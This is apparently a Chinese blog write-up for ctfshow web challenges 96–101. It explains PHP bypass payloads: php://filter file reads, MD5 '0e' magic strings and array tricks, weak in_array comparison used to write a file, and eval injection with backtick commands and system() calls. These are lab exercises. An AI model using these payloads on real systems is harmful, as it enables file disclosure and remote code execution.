ctfshow——web入门——97~101

web入门96

payload:?u=./flag.php (./表示当前目录)

?u=/var/www/html/flag.php

?u=php://filter/read=string.rot13/resource=flag.php

然后再rot13编码

?u=php://filter/read=convert.base64-encode/resource=flag.php (同理)

web入门97

非常典的一题,让你字符串不同,md5相同,前面做过

注意这里是强比较

如果是弱比较,我们可以用0e绕过

QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a

但是这题是强比较,有两种方法:

a[]=1&b[]=2

md5无法对数组加密,对数组加密返回的是nul

找出真正意义上数据不同md5相同

但是吧,我在网路上找了几个好像都不行,而且别的师傅有成功截图的数据再我这也跑不通(奇怪)

这里放个别的师傅的wp

web入门98

随手试一下就出来了,那么是什么思意嘞?

这里出现了 PHP 中的三元运算符:形如 XXXX?XX:xx

如果条件 XXXX 成立,则执行冒号前边的 XX,否则执行冒号后面的 xx

比如:isset($_GET['id']) ? $_GET['id'] : 1;

isset()函数用于检查变量是否设置,如果设置了,则 id=$_GET['id'],否则 id=1

这个是判断HTTP_FLAG是否=flag,是的话输出flag,否的话高亮文件

第1行:如果有GET提交,那么$_POST 的引用赋值给 $_GET,引用赋值导致两个变量指向同一个内存地址(两个指针指向一个地址),故 $_POST 变量内容改变会影响 $_GET 变量的内容

or根据第2行,同理

web入门99

建立一个空数组allow,然后从36开始,循环到0x36d(877),并将(1~877)的(877-36)个随机数

填入数组

然后检查是否设置了名为 n 的 GET 参数,它的值是否在 $allow 数组中

是的话就将post提交内容写入n

因为in_array此时没有第三个参数,默认是弱比较,故例如1.php会视为1

web入门100

这里涉及is_numeric函数,即判断是否为数字字符

关于and

故我们只需保证v1是数字即可

同时还要满足v2没有; v3有;

还有:v2=var_dump($ctfshow)

v2=print_r($ctfshow)

v2=var_export($ctfshow)

?v1=1&v2=echo new ReflectionClass&v3=;

就是eval("echo new ReflectionClass('ctfshow');");

ReflectionClass 是 PHP 中用于反射类的内置类,它允许获取关于类的信息,比如类的方法、属性等,'ctfshow' 是传递给 ReflectionClass 构造函数的类名,这段代码的实际作用是创建一个 ReflectionClass 对象,用来反射名为 'ctfshow' 的类,并将其输出

也可以用%23(#)注释掉v3

用反引号也行

?v1=1&v2=echo`ls`?>&v3=;

当然,也可以复制文件

v2=system("cp ctfshow.php 114.txt")

当然上面所有flag中的 0x2d都要变成-

web入门101

加了一堆过滤,但是没有字母,意思就是让我们用reflectionclass

提示说

爆破(但是因为已经提交过了无法再次提交,就没有显示)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值